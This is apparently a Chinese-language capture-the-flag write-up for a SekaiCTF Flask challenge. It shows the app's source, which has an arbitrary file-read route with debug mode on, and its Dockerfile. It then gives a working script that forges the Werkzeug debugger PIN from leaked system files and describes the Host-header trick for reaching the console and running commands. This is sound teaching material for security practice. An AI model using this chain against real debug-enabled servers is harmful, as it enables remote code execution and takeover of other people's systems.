SekaiCTF web My Flask App 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from flask import Flask, request, render_template app = Flask(__name__) @app.route('/') def hello_world(): return render_template('index.html') @app.route('/view') def view(): filename = request.args.get('filename') if not filename: return "Filename is required", 400 try: with open(filename, 'r') as file: content = file.read() return content, 200 except FileNotFoundError: return "File not found", 404 except Exception as e: return f"Error: {str(e)}", 500 if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)
以及docker文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 FROM python:3.11-slim RUN pip install --no-cache-dir flask==3.1.1 WORKDIR /app COPY app . RUN mv flag.txt /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txt && \ chown -R nobody:nogroup /app USER nobody EXPOSE 5000 CMD ["python", "app.py"]
给了个读取文件的路由,但是flag文件名被添加了32位后缀,直接读取肯定不现实,考虑怎么RCE 注意到源代码开启了调试模式,大概率要利用这一点打pin码RCE 这里版本比较高,参考新版flask pin码计算 利用文件读取拿参数 这里/proc/self/cgroup为空那就不填它 生成pin码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 # nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin # /usr/local/bin/pythonapp.py # 52:c8:95:8c:51:fa # 52c8958c51fa # print(int('52c8958c51fa',16)) import hashlib from itertools import chain import time # 可能是公开的信息部分 probably_public_bits = [ 'nobody', # /etc/passwd 'flask.app', # 默认值 'Flask', # 默认值 '/usr/local/lib/python3.11/site-packages/flask/app.py' # moddir,报错得到 ] # 私有信息部分 private_bits = [ '91021455938042', # /sys/class/net/eth0/address 十进制 'd012874f-9e09-499b-b531-f5fc6ecffb27' # machine-id部分 ] # 创建哈希对象 h = hashlib.sha1() # 迭代可能公开和私有的信息进行哈希计算 for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) # 加盐处理 h.update(b'cookiesalt') # 生成 cookie 名称 cookie_name = '__wzd' + h.hexdigest()[:20] print(cookie_name) # 生成 pin 码 num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] # 格式化 pin 码 rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) # A week PIN_TIME = 60 * 60 * 24 * 7 def hash_pin(pin: str) -> str: return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12] print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('164-715-873')}")
Werkzeug>3.0.3版本 高于3.0.3版本,仅支持回环地址或localhost
抓包后改Host为localhost访问/console 传入参数会返回{"auth": true, "exhausted": false} 并获得cookie?__debugger__=yes&cmd=pinauth&pin=616-447-090&s=ZWurnoU1T8hbLFffNGel 然后带着cookie命令执行即可,注意这里的请求多了frm即frame当前帧